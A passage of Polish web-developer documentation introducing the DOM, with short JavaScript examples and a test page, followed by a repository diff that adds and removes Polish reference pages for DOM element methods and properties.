Ten rozdział ma dać ogólne pojęcie o DOM: co to jest, o strukturze dla dokumentów HTML i XML, jak korzystać z DOM oraz w jaki sposób przedstawiona będzie dokumentacja i przykłady.

+ +

Czym jest DOM?

+ +

Model obiektowy dokumentu (ang. Document Object Model, DOM) stanowi API dla dokumentów HTML i XML. Odpowiada za dwie rzeczy: zapewnia reprezentację struktury dokumentu oraz określa, w jaki sposób odnosić się do tej struktury z poziomu skryptu. DOM przedstawia stronę jako strukturyzowaną grupę węzłów, co omówimy pokrótce. W gruncie rzeczy, DOM łączy stronę ze skryptami bądź językami programowania.

+ +

Zauważ, że DOM nie jest konkretną aplikacją czy produktem. Jest raczej interfejsem, API, które twórcy oprogramowania muszą zaimplementować, jeśli chcą spełniać standard W3C DOM. Mały przykład: każda przeglądarka internetowa musi zwracać wszystkie elementy <P> ze strony HTML jako tablicę węzłów, kiedy poniższy skrypt wywoła metodę getElementsByTagName:

+ +
paragraphs = document.getElementsByTagName("P");
+// paragraphs[0] to pierwszy element <p>
+// paragraphs[1] - drugi element <p>, etc.
+alert(paragraphs[0].nodeName);
+
+ +

Wszystkie metody, właściwości i wydarzenie dostępne dla webmastera w celu manipulowania lub tworzenia stron są zorganizowane w obiekty (np. obiekt document, reprezentujący sam dokument, obiekt table, implementujący specjalny interfejs DOM HTMLTableElement, który umożliwia dostęp do tabel w HTML, itd.) Niniejsza dokumentacja przedstawia opis każdego z obiektów w tym API.

+ +

DOM vs. JavaScript

+ +

Powyższy przykład, jak i inne w tej dokumentacji, napisano w JavaScript. Ściślej, został on + + napisany + w JavaScript, ale + + korzysta + z DOM, by manipulować stroną i jej elementami. DOM nie jest sam w sobie językiem programowania, ale bez niego język JavaScript nie miałby żadnego odniesienia do stron czy dokumentów XML i ich elementów. Każdy z elementów - jak nagłówek, tabele, nagłówki tabel, komórki tych tabel, tekst w tych komórkach - są częściami obiektowego modelu tego konkretnego dokumentu i, za pomocą DOM, język taki jak JavaScript może nimi operować.

+ +

DOM zaprojektowano tak, by był niezależny od języka programowania, dzięki czemu reprezentacja struktury dokumentu dostępna jest poprzez jedno, spójne API. W niniejszej dokumentacji skupimy się wyłącznie na JavaScripcie, jednak można stworzyć implementację DOM dla dowolnego języka - poniżej przykład w Pythonie:

+ +
# Przykład: DOM w Pythonie
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # DOM - własność obiektu document;
+p_list = doc.getElementsByTagName("para");
+
+ +

Jak korzystać z DOM?

+ +

Aby zacząć korzystać z DOM, nie musisz robić nic szczególnego. Różne przeglądarki różnią się implementacją DOM, implementacje wykazują różny stopień zgodności z faktycznym standardem DOM (jest to kwestia, której staramy się unikać w niniejszej dokumentacji), ale każda przeglądarka używa jakiegoś obiektowego modelu dokumentu, by dać dostęp do strony z poziomu skryptu.

+ +

Kiedy tworzysz nowy skrypt - niezależnie, czy jest to on zagnieżdżony w elemencie <SCRIPT>, czy też załączony do strony w odpowiedni sposób - możesz od razu zacząć korzystać z API dla elementów document lub window by manipulować samym dokumentem lub by przechwycić któregoś z potomków - elementów strony. Programowanie w DOM może być tak proste jak poniższy przykład, który wykorzystuje metodę alert() obiektu window, może jednak korzystać z bardziej skomplikowanych metod, by tworzyć nową zawartość - tak jak w drugim z poniższych przykładów.

+ +
<body onload="window.alert('Witaj!');">
+
+ +

Niezależnie od elementu <script>, w którym poniższy skrypt jest zdefiniowany, kod ten tworzy nowy element H1, dodaje do niego tekst, a następnie włącza H1 do drzewa dokumentu.

+ +
<html>
+<script>
+ // create a couple of elements
+ // in an otherwise empty HTML page
+ heading = document.createElement("h1");
+ heading_text = document.createTextNode("Big Head!");
+ heading.appendChild(heading_text);
+ document.body.appendChild(heading);
+</script>
+</html>
+
+ +

Ważne typy danych

+ +

Interfejsy DOM

+ +

Założeniem tego przewodnika jest ograniczenie do minimum dyskusji o abstrakcyjnych interfejsach, dziedziczeniu i innych szczegółach implementacji, a zamiast tego omówienie obiektów w DOM, faktycznych + bytów + , jakich możesz użyć do manipulowania hierarchią DOM. Z punktu widzenia programisty zwykle nie jest istotne, że obiekt reprezentujący element HTML FORM pobiera własność name z interfejsu HTMLFormElement, a własność className z interfejsu HTMLElement. W obu przypadkach własność, która Ciebie interesuje, znajduje się po prostu w obiekcie form.

+ +

Jednakże zależność między obiektami a interfejsami, jakie one implementują, może być myląca, dlatego w tym podrozdziale spróbujemy powiedzieć coś o faktycznych interfejsach w specyfikacji DOM oraz o tym, w jaki sposób są one dostępne.

+ +

Interfejsy a obiekty

+ +

W niektórych przypadkach obiekt przedstawia tylko jeden interfejs, jednak z reguły obiekty - takie jak np. table - reprezentują kilka różnych interfejsów. Dla przykładu - table implementuje specjalny interfejs HTMLTableElement, który zawiera metody takie jak XXX i YYY. Ponieważ jednak jest to element HTML, table implementuje też interfejs Element, opisany w rozdziale Obiekt element. I wreszcie, ponieważ element HTML jest, jeśli mówimy o DOM, węzłem w drzewie węzłów, jakie tworzy obiektowy model strony internetowej czy XML, element table implementuje także bardziej podstawowy interfejs Node, z którego wywodzi się Element.

+ +

Kiedy otrzymasz referencję do obiektu table, tak jak w poniższym przykładzie, używasz zazwyczaj zamiennie wszystkich trzech interfejsów, być może nawet o tym nie wiedząc.

+ +
var table = document.getElementById("table");
+var tableAttrs = table.attributes; // interfejs Node/Element
+for(var i = 0; i < tableAttrs.length; i++){
+  // interfejs HTMLTableElement: atrybut border
+  if(tableAttrs[i].nodeName.toLowerCase() == "border")
+    table.setAttribute("border", "1");
+}
+// interfejs HTMLTableElement: atrybut summary
+table.summary = "uwaga: zwiększono obramowanie";
+
+ +

Najważniejsze interfejsy w DOM

+ +

W tej części wymienione zostaną niektóre z najczęściej używanych interfejsów DOM. Celem nie jest opisanie, co wymienione API robią, ale raczej by dać Tobie ogólne pojęcie o rodzajach metod i własności, jakie będziesz często widywał, używając DOM. Te API wykorzystano także w przykładach, jakie znajdziesz na końcu tej dokumentacji.

+ +

Obiekty document i window to obiekty, których interfejsy będziesz najczęściej wykorzystywał w programowaniu przy użyciu DOM. W prostych słowach, window reprezentuje coś takiego jak przeglądarka, zaś document jest początkiem, górą całego dokumentu. Element dziedziczy z ogólnego interfejsu Node, zaś razem te dwa interfejsy odpowiadają za wiele metod i własności, jakich będziesz używał na konkretnych elementach. Elementy te mogą mieć też własne, osobne interfejsy, służące do obsługi konkretnego rodzaju danych, jaki przechowują - tak jak na przykład wspomniany wcześniej obiekt table.

+ +

Poniżej krótka lista najczęściej używanych API w skryptach wykorzystujących DOM.

+ + + +

Testowanie DOM API

+ +

W dokumentacji tej znajdziesz do każdego interfejsu przykłady wykorzystania. W niektórych przypadkach są to kompletne strony HTML, działające z poziomu elementu <script>, z elementami (jak np. przyciski) niezbędnymi do uruchomienia skryptu, jak również elementami, którymi operuje DOM. W takim przypadku możesz po prostu skopiować przykład, wkleić go do nowego pliku, zapisać i uruchomić w przeglądarce.

+ +

Jednakże, w wielu przypadkach przykłady są bardziej zwięzłe. Aby uruchomić kod, który pokazuje proste relacje między interfejsem a elementami HTML, możesz chcieć stworzyć stronę testową. Poniżej znajdziesz właśnie taką, prostą stronę do testów - funkcje testujące możesz umieścić w znaczniku <script> w nagłówku, umieszczono też kilka elementów wraz z atrybutami, którymi możesz swobodnie manipulować, a także interfejs użytkownika, pozwalający wywoływać funkcje testowe z poziomu przeglądarki.

+ +

Możesz skorzystać z tej strony testowej lub stworzyć własną. Możesz zmieniać w razie potrzeby treść skryptu, dodać przyciski czy elementy.

+ +
<html>
+<head>
+<title>DOM Tests</title>
+<script type="application/x-javascript">
+function setBodyAttr(attr,value){
+  if(document.body) eval('document.body.'+attr+'="'+value+'"');
+  else notSupported();
+}
+</script>
+</head>
+<body>
+<div style="margin: .5in; height="400"">
+<p><b><tt>text</tt> color</p>
+<form>
+<select onChange="setBodyAttr('text',
+    this.options[this.selectedIndex].value);">
+<option value="black">black
+<option value="darkblue">darkblue
+</select>
+ <p><b><tt>bgColor</tt></p>
+ <select onChange="setBodyAttr('bgColor',
+    this.options[this.selectedIndex].value);">
+<option value="white">white
+<option value="lightgrey">gray
+ </select>
+<p><b><tt>link</tt></p>
+<select onChange="setBodyAttr('link',
+     this.options[this.selectedIndex].value);">
+<option value="blue">blue
+<option value="green">green
+</select>  <small>
+     <a href="http://www.brownhen.com/dom_api_top.html" id="sample">
+(sample link)</a></small><br>
+</form>
+<form>
+  <input type="button" value="version" onclick="ver()" />
+</form>
+</div>
+</body>
+</html>
+
+ +

Przykładowa strona testowa DOM
+ By przetestować więcej interfejsów na jednej stronie - np. komplet własności zmieniających kolory strony - możesz stworzyć podobną stronę z całą konsolą przycisków, pól tekstowych i innych elementów HTML. Poniższy zrzut ekranu przedstawia przykładowy pomysł pogrupowania interfejsów do testów.

+ +

W tym przykładzie rozwijalne menu dynamicznie podmieniają takie aspekty strony jak kolor tła (bgColor), kolory linków (aLink), tekstu (text). Niezależnie od tego, jak zaprojektujesz swoją stronę testową - testowanie interfejsów jest ważnym elementem efektywnej nauki DOM.

diff --git a/files/pl/web/api/documentorshadowroot/activeelement/index.html b/files/pl/web/api/documentorshadowroot/activeelement/index.html new file mode 100644 index 0000000000..6a8358c7ac --- /dev/null +++ b/files/pl/web/api/documentorshadowroot/activeelement/index.html @@ -0,0 +1,27 @@ +--- +title: document.activeElement +slug: Web/API/Document/activeElement +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/DocumentOrShadowRoot/activeElement +translation_of_original: Web/API/Document/activeElement +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca element, na którym ustawiony jest fokus.

+

{{ Note("Ten atrybut jest częścią specyfikacji HTML 5, która jest wciąż opracowywana.") }}

+

Składnia

+
var curElement = document.activeElement;
+
+

Przykład

+

Specyfikacja

+

Zarządzanie fokusem

+

 

+

 

+

 

+
+  
+

{{ languages( { "en": "en/DOM/document.activeElement", "es": "es/DOM/element.activeElement", "fr": "fr/DOM/document.activeElement", "ja": "ja/DOM/document.activeElement" } ) }}

diff --git a/files/pl/web/api/documentorshadowroot/stylesheets/index.html b/files/pl/web/api/documentorshadowroot/stylesheets/index.html new file mode 100644 index 0000000000..e1c2493cd3 --- /dev/null +++ b/files/pl/web/api/documentorshadowroot/stylesheets/index.html @@ -0,0 +1,20 @@ +--- +title: document.styleSheets +slug: Web/API/Document/styleSheets +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +translation_of_original: Web/API/Document/styleSheets +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Własność styleSheets zwraca listę obiektów stylesheet w bieżącym dokumencie.

+

Składnia

+
listaWęzłów = document.styleSheets
+
+

Specyfikacja

+

DOM Level 2.

+

{{ languages( { "en": "en/DOM/document.styleSheets", "ja": "ja/DOM/document.styleSheets" } ) }}

diff --git a/files/pl/web/api/element/addeventlistener/index.html b/files/pl/web/api/element/addeventlistener/index.html deleted file mode 100644 index 781ec7f3b6..0000000000 --- a/files/pl/web/api/element/addeventlistener/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: element.addEventListener -slug: Web/API/Element/addEventListener -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/API/EventTarget/addEventListener ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Metoda addEventListener pozwala zarejestrować obserwatora zdarzeń dla określonego typu zdarzenia na elemencie.

-

Składnia

-
target.addEventListener(type, listener, useCapture);
-
-
-
- type 
-
- Łańcuch przedstawiający typ zdarzenia do nasłuchu.Need a link here
-
- listener 
-
- Obiekt, który otrzymuje zawiadomienie, gdy nastąpi zdarzenie określonego typu. Musi być zaimplementowanym obiektem interfejsu EventListener lub pojedynczą funkcją JavaScript.
-
- useCapture 
-
- Jeśli zostanie ustawione na true, useCapture wskazuje, że użytkownik chce przechwytywać zdarzenia. Po rozpoczęciu przechwytywania, wszystkie zdarzenia typu type będą przekazywane do naszego listener'a zanim zostaną wysłane do innych obiektów nasłuchujących (EventTarget) znajdujących się poniżej w drzewie DOM. Zdarzenia, które propagują w górę drzewa nie uruchamiają systemu nasłuchującego (listener) ustawionego na przechwytywanie.
-
-

Dla uzyskania szczegółowego objaśnienia zobacz DOM Level 3 Events.

-

Przykład

-
 <html>
- <head>
-   <title>Przykład zdarzenia DOM</title>
-   <style type="text/css">
-     #t { border: 1px solid red }
-     #t1 { background-color: pink; }
-   </style>
-   <script type="text/javascript">
-
-   // Funkcja zmieniająca zawartość komórki tabeli t2
-   function modifyText() {
-     var t2 = document.getElementById("t2");
-     t2.firstChild.nodeValue = "Trzy";
-   }
-
-   // Funkcja dodająca obserwatora zdarzeń dla tabeli t
-   function load() {
-     var el = document.getElementById("t");
-     el.addEventListener("click", modifyText, false);
-   }
-
-   </script>
- </head>
- <body onload="load();">
- <table id="t">
-   <tr><td id="t1">Jeden</td></tr>
-   <tr><td id="t2">Dwa</td></tr>
- </table>
- </body>
- </html>
-
-

W powyższym przykładzie, funkcja modifyText() została zarejestrowana za pomocą addEventListener() do obsługi zdarzenia typu click na tabeli t. Kliknięcie w dowolnym miejscu tej tabeli rozpocznie propagowanie zdarzenia i wywoła funkcję modifyText().

-

Uwagi

-

Po co używać addEventListener?

-

addEventListener daje możliwość zarejestrowania obsługi zdarzenia według specyfikacji W3C DOM. Korzyści są następujące:

- -

Alternatywne, starsze sposoby rejestracji zdarzeń są opisane poniżej.

-

Dodawanie nasłuchu podczas obsługi zdarzenia

-

Jeśli podczas obsługi zdarzenia zostanie dodany nowy obiekt nasłuchujący to zdarzenie, nie zostanie on uruchomiony dla tego zdarzenia. Może zostać wywołany podczas dalszego etapu przepływu zdarzeń(Event flow), np. w fazie propagowania zdarzenia w górę drzewa DOM.

-

Identyczne obiekty nasłuchujące

-

Jeśli kilka identycznych obiektów nasłuchujących zostanie zarejestrowanych dla tego samego zdarzenia (EventTarget) z tymi samymi parametrami to duplikaty są ignorowane. Obiekt nasłuchujący nie będzie wywołany więcej niż jeden raz. Powielone powiązania nie muszą być usuwane ręcznie za pomocą funkcji removeEventListener, ponieważ są one usuwane automatycznie.

-

Wartość this

-

Doczepianie akcji używając addEventListener() zmienia wartość this—zauważ, że wartość this ijest przekazywana funkcji przez zdarzenie.

-

W powyższym przykładzie, wartość this wewnątrz modifyText() gdy zostanie wywołana ze zdarzenia onclick event jest odwołaniem do tabeli 't'. Jeśli obsługa zdarzenia onclick jest dodana w źródle HTML:

-
<table id="t" onclick="modifyText();">
-  ...
-</table>
-
-

to wartość this wewnątrz funkcji modifyText() wywołanej z poziomu zdarzenia onclick będzie odwołaniem od obiektu globalnego(window).

-

Internet Explorer

-

W IE 8 i niższych należy użyć attachEvent zamiast standardowego addEventListener. By wspierać IE, powyższy przykład może zostać zmodyfikowany do:

-
if (el.addEventListener){
-  el.addEventListener('click', modifyText, false);
-} else if (el.attachEvent){
-  el.attachEvent('onclick', modifyText);
-}
-
-

Starsze sposoby dołączania zdarzeń

-

addEventListener() zostało wprowadzone wraz ze specyfikacją DOM 2 Events. Wcześniej, zdarzenia były dołączone jak pokazano poniżej:

-
// Using a function reference—note lack of '()'
-el.onclick = modifyText;
-
-// Używając deklaracji funkcji
-element.onclick = function(){
-                    // ... logika funkcji ...
-                  };
-
-

Ta metoda zastępuje istniejącą obsługę zdarzenia onclick na elemencie jeśli jest jakakolwiek. Podobnie do innych zdarzeń 'on' takich jak onblur, onkeypress, i tak dalej.

-

Ponieważ była to istotna część DOM 0, ta metoda jest bardzo szeroko wspierana i nie wymaga specjalnych kodów do różnych przeglądarek; stąd też jest to normalnie używana do dynamicznego zaczepienia obsługi zdarzenia jeśli nie potrzeba dodatkowych możliwości  addEventListener().

-

Specyfikacja

-

DOM Level 2 Events: addEventListener

-

{{ languages( { "en": "en/DOM/element.addEventListener", "fr": "fr/DOM/element.addEventListener", "ja": "ja/DOM/element.addEventListener" } ) }}

diff --git a/files/pl/web/api/element/appendchild/index.html b/files/pl/web/api/element/appendchild/index.html deleted file mode 100644 index ae2b141231..0000000000 --- a/files/pl/web/api/element/appendchild/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: element.appendChild -slug: Web/API/Element/appendChild -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/appendChild ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Metoda Node.appendChild() wstawia określony węzeł na koniec listy dzieci określonego rodzica. Jeśli węzeł ma już rodzica, jest on najpierw od niego oddzielany.

- -

Składnia

- -
var dziecko = element.appendChild(dziecko)
-
- - - -

Opis

- -

Metoda appendChild zwraca referencję do dodanego węzła. 

- -

Przykład

- -
// Tworzy nowy element paragrafu
-var p = document.createElement("p");
-
-// Wstawia go na koniec ciała dokumentu
-document.body.appendChild(p);
-
- -

 

- -

Uwagi

- -

appendChild jest jedną z fundamentalnych metod w programowaniu z użyciem DOM. Metoda ta wstawia nowy węzeł do struktury DOM dokumentu HTML. Jest to druga część procesu stwórz-i-wstaw, podstawowego przy programowym budowaniu strony. Inne związane z tym metody to insertBefore, replaceChild i removeChild.

- -

Jeśli dziecko jest referencją do węzła, który istnieje już w dokumencie, appendChild przenosi go z dotychczasowej pozycji w nowe miejsce (tj. nie ma potrzeby odzielać węzeł od jego rodzica przed wstawieniem go do innego węzła).

- -

Specyfikacja

- -

DOM Level 2 Core: appendChild

- -

{{ languages( { "en": "en/DOM/element.appendChild", "fr": "fr/DOM/element.appendChild", "ja": "ja/DOM/element.appendChild" } ) }}

diff --git a/files/pl/web/api/element/blur/index.html b/files/pl/web/api/element/blur/index.html deleted file mode 100644 index 1febd21617..0000000000 --- a/files/pl/web/api/element/blur/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: element.blur -slug: Web/API/Element/blur -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/HTMLOrForeignElement/blur ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Metoda blur dezaktywuje bieżący element (usuwa focus).

-

Składnia

-
element.blur()
-
-

Specyfikacja

-

blur

-
-  
-

{{ languages( { "en": "en/DOM/element.blur", "fr": "fr/DOM/element.blur" } ) }}

diff --git a/files/pl/web/api/element/childnodes/index.html b/files/pl/web/api/element/childnodes/index.html deleted file mode 100644 index 2f15d119e2..0000000000 --- a/files/pl/web/api/element/childnodes/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: element.childNodes -slug: Web/API/Element/childNodes -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/childNodes ---- -

{{ ApiRef() }}

-

Podsumowanie

-

childNodes zwraca kolekcję węzłów-dzieci elementu.

-

Składnia i wartości

-
var listaWęzłów = referencjaDoWęzłaElementu.childNodes;
-
-

listaWęzłów to uporządkowana kolekcja obiektów węzłów, będącymi dziećmi bieżącego elementu. Jeśli element nie ma dzieci, listaWęzłów jest pusta.

-

listaWęzłów to zmienna przechowująca listę węzłów. Lista taka ma typ NodeList. Właściwość childNodes jest tylko do odczytu.

-

Przykład

-
// parg to referencja do obiektu elementu <p>
-if (parg.hasChildNodes())
-// sprawdzamy czy obiekt nie jest pusty - czy ma dzieci
- {
-   var children = parg.childNodes;
-   for (var i = 0; i < children.length; i++)
-   {
-   // zrob cos z kazdym dzieckiem jako children[i]
-   // uwaga: lista "żyje", dodawanie bądź usuwanie dzieci ją zmieni
-   };
- };
-
-
// sposób na usunięcie wszystkich dzieci węzła
-// box to referencja do obiektu elementu, który ma dzieci
-while (box.firstChild)
- {
-    //lista jest "żywa", więc będzie przeindeksowana po każdym wywołaniu
-    box.removeChild(box.firstChild);
- };
-
-

Uwagi

-

Elementy kolekcji węzłów są obiektami, a nie łańcuchami. By pobrać dane z tych obiektów, musisz użyć ich atrybutów (np. referencjaDoWęzłaElementu.childNodes{{ mediawiki.external(1) }}.nodeName by pobrać nazwę).

-

Obiekt document ma dwoje dzieci: deklarację DOCTYPE i element HTML.

-

Specyfikacja

- -

{{ languages( { "en": "en/DOM/element.childNodes", "fr": "fr/DOM/element.childNodes", "ja": "ja/DOM/element.childNodes", "zh-cn": "cn/DOM/element.childNodes" } ) }}

diff --git a/files/pl/web/api/element/click/index.html b/files/pl/web/api/element/click/index.html deleted file mode 100644 index 5c0fe512d5..0000000000 --- a/files/pl/web/api/element/click/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: element.click -slug: Web/API/Element/click -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/HTMLElement/click ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Metoda click wywołuje kliknięcie na bieżącym elemencie.

-

Składnia

-
element.click()
-
-

Notatki

-

Metoda click symuluje zdarzenie kliknięcia na bieżącym elemencie. Zwykle używa się tego by wywołać obsługę zdarzenia przypisaną do elementu bieżącego bądź leżącego wyżej w "łańcuchu zdarzeń".

-

Specyfikacja

-

click

-
-  
-

{{ languages( { "en": "en/DOM/element.click", "fr": "fr/DOM/element.click" } ) }}

diff --git a/files/pl/web/api/element/clientnode/index.html b/files/pl/web/api/element/clientnode/index.html deleted file mode 100644 index eb0550678b..0000000000 --- a/files/pl/web/api/element/clientnode/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: element.cloneNode -slug: Web/API/Element/clientNode -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/cloneNode ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Metoda cloneNode zwraca kopię bieżącego węzła.

-

Składnia

-
kopiaWęzła = element.cloneNode(głębokość)
-
-

Parametry

- -

Przykład

-
p = document.getElementById("para1");
-p_prime = p.cloneNode(true);
-
-

Uwagi

-

Kopia węzła zwrócona przez cloneNode() nie ma rodzica. Podczas klonowania węzła skopiowane zostają wszystkie jego atrybuty i ich wartości, ale nie zostaje skopiowana treść zawarta w węźle, ponieważ treść ta przechowywana jest w węźle potomnym typu Text.

-

Głębokie klonowanie kopiuje i zwraca węzeł wraz z całym drzewem pod nim się znajdującym (w tym treścią z potomnych węzłów Text) .

-

Specyfikacja

-

DOM Level 2 Core: cloneNode

-
-  
-

{{ languages( { "en": "en/DOM/element.cloneNode", "fr": "fr/DOM/element.cloneNode", "ja": "ja/DOM/element.cloneNode", "pt": "pt/DOM/element.cloneNode", "zh-cn": "cn/DOM/element.cloneNode" } ) }}

diff --git a/files/pl/web/api/element/dir/index.html b/files/pl/web/api/element/dir/index.html deleted file mode 100644 index 5e20e1e6ad..0000000000 --- a/files/pl/web/api/element/dir/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: element.dir -slug: Web/API/Element/dir -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/HTMLElement/dir ---- -
- {{ApiRef}}
-

Podsumowanie

-

Atrybut dir ustawia lub pobiera kierunek pisania tekstu dla zawartości bieżącego elementu.

-

Składnia i wartości

-
var bieżącyKierunekPisania = elementNodeReference.dir;
-elementNodeReference.dir = nowyKierunekPisania;
-
-

bieżącyKierunekPisania jest łańcuchem reprezentującym kierunek pisania tekstu bieżącego elementu. nowyKierunekPisania to zmienna łańcuchowa, której wartość reprezentuje kierunek pisania tekstu.

-

Możliwe wartości dir to ltr dla "od lewej do prawej" i rtl dla "od prawej do lewej".

-

Przykład

-
var parg = document.getElementById("para1");
-
-parg.dir = "rtl";
-// zmienia kierunek tekstu w paragrafie "para1"
-
-

Uwagi

-

Kierunek pisania tekstu elementu oznacza kierunek, w którym idzie tekst (do obsługi różnych języków). Języki arabski i hebrajski to typowe przykłady użycia kierunku rtl.

-

Obrazek może mieć atrybut dir ustawiony na rtl. W takim wypadku atrybuty title i alt będą sformatowane i wyświetlona jako rtl.

-

Jeśli tabela ma kierunek rtl, kolumny porządkowane są od prawej do lewej.

-

Specyfikacja

- diff --git a/files/pl/web/api/element/dispatchevent/index.html b/files/pl/web/api/element/dispatchevent/index.html deleted file mode 100644 index 266c570cfe..0000000000 --- a/files/pl/web/api/element/dispatchevent/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: element.dispatchEvent -slug: Web/API/Element/dispatchEvent -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/EventTarget/dispatchEvent ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Wywołuje zdarzenie w bieżącym elemencie.

- -

Składnia

- -
bool = element.dispatchEvent(event)
-
- - - -

Uwagi

- -

Jak pokazuje powyższy przykład, dispatchEvent to ostatni krok w procesie utwórz-zainicjuj-wywołaj, którego używa się by ręcznie wywołać zdarzenia w modelu zdarzeń implementacji.

- -

Zdarzenie może zostać utworzone przy użyciu metody document.createEvent i zainicjowane za pomocą initEvent lub innej, bardziej wyspecjalizowanej metody, jak initMouseEvent albo initUIEvent.

- -

Zobacz też dokumentację obiektu event.

- -

Specyfikacja

- -

DOM Level 2 Events: dispatchEvent

- -

 

- -
 
- -

{{ languages( { "en": "en/DOM/element.dispatchEvent", "es": "es/DOM/element.dispatchEvent", "fr": "fr/DOM/element.dispatchEvent", "ja": "ja/DOM/element.dispatchEvent" } ) }}

diff --git a/files/pl/web/api/element/firstchild/index.html b/files/pl/web/api/element/firstchild/index.html deleted file mode 100644 index 20189ce803..0000000000 --- a/files/pl/web/api/element/firstchild/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: element.firstChild -slug: Web/API/Element/firstChild -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/firstChild ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

firstChild jest właściwością tylko do odczytu, która zwraca pierwszego potomka węzła lub wartość null, jeżeli węzeł nie ma potomków. Jeżeli węzeł jest elementem Document, wtedy zwraca pierwszy węzeł z listy swoich bezpośrednich dzieci.

- -

Składnia i wartości

- -
var elt = element.firstChild;
-
- -

elt to referencja do pierwszego dziecka elementu, jeśli jest takie - w przeciwnym razie jest to null.

- -

Przykład

- -

Przeglądarki oparte o Gecko wstawiają do dokumentu węzły tekstowe reprezentujące białe znaki w kodzie. Dlatego pierwsze dziecko elementu może odnosić się do wstawionego węzła tekstowego, a nie elementu określonego przez następny znacznik w źródle strony.

- -
<p id="para-01">
-  <span>Pierwszy span</span>
-</p>
-
-<script type="text/javascript">
-  var p01 = document.getElementById('para-01');
-  alert(p01.firstChild.nodeName)
-</script>
-
- -

W powyższym przykładzie alert wyświetli '#text', ponieważ wstawiony jest węzeł tekstowy oznaczający przerwę między otwierającymi znacznikami <p> i <span> . Dowolny biały znak spowoduje wstawienie węzła tekstowego - zarówno pojedyncza spacja, jak i dowolna ilość spacji, nowych linii, znaków tabulacji itd.

- -

Kolejny węzeł #text jest wstawiany między zamykającymi znacznikami </span> i </p>

- -

Jeśli usunie się białe znaki ze źródła, nie zostaną wstawione węzły tekstowe, a element span stanie się pierwszym dzieckiem paragrafu.

- -
<p id="para-01"><span>Pierwszy span</span></p>
-
-<script type="text/javascript">
-  var p01 = document.getElementById('para-01');
-  alert(p01.firstChild.nodeName)
-</script>
-
- -

Teraz alert wyświetli 'SPAN'.

- -

Uwagi

- -

Więcej o problemach z węzłami-zjawami znajdziesz w {{ Bug(26179) }} (nie komentuj tego błędu!). Oto jeden ze sposobów na ominięcie problemu:

- -
<!-- konwencjonalne formatowanie prowadzi do
-     zaśmiecenia drzewa dokumentu w Gecko
- -->
-<div>
- <ul>
-  <li>Pozycja 1</li>
-  <li>Pozycja 2</li>
-  <li>Pozycja 3</li>
- </ul>
-</div>
-
-<!-- Formatowanie ustawione, by ominąć
-     problem węzłów-zjaw
- -->
-<div
- ><ul
-  ><li>Pozycja 1</li
-  ><li>Pozycja 2</li
-  ><li>Pozycja 3</li
- ></ul
-></div>
-
- -

Węzły bezdzietne

- -

Własność zwraca null, jeśli bieżący węzeł jest bezdzietny.

- -

Białe znaki i węzły dzieci

- -

Węzły #text mogą być wstawione jako dzieci elementów takich jak TR pomimo że specyfikacja HTML pozwala tylko na TD jako ich dzieci. Z uwagi na XML białe znaki muszą zostać zachowane i gdzieś wstawione.

- -

Ponieważ węzły #text nie są elementami HTML, białe znaki są tam wstawiane.

- -

W3C DOM 3 FAQ: Why are some Text nodes empty?

- -

Specyfikacja

- -

DOM Level 1 Core: firstChild

- -

DOM Level 2 Core: firstChild

- -
- -

{{ languages( { "en": "en/DOM/element.firstChild", "fr": "fr/DOM/element.firstChild", "ja": "ja/DOM/element.firstChild", "zh-cn": "cn/DOM/element.firstChild" } ) }}

diff --git a/files/pl/web/api/element/focus/index.html b/files/pl/web/api/element/focus/index.html deleted file mode 100644 index 7f3eef32fa..0000000000 --- a/files/pl/web/api/element/focus/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: element.focus -slug: Web/API/Element/focus -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/HTMLOrForeignElement/focus ---- -

{{ ApiRef() }}

-

Podsumowanie

-

focus aktywuje bieżący element (ustawia focus).

-

Składnia

-
element.focus()
-
-

Uwagi

-

Wywołanie metody focus() jest równoważne z zaznaczeniem elementu przez użytkownika.

-

Specyfikacja

-

focus

-
-  
-

{{ languages( { "en": "en/DOM/element.focus", "fr": "fr/DOM/element.focus" } ) }}

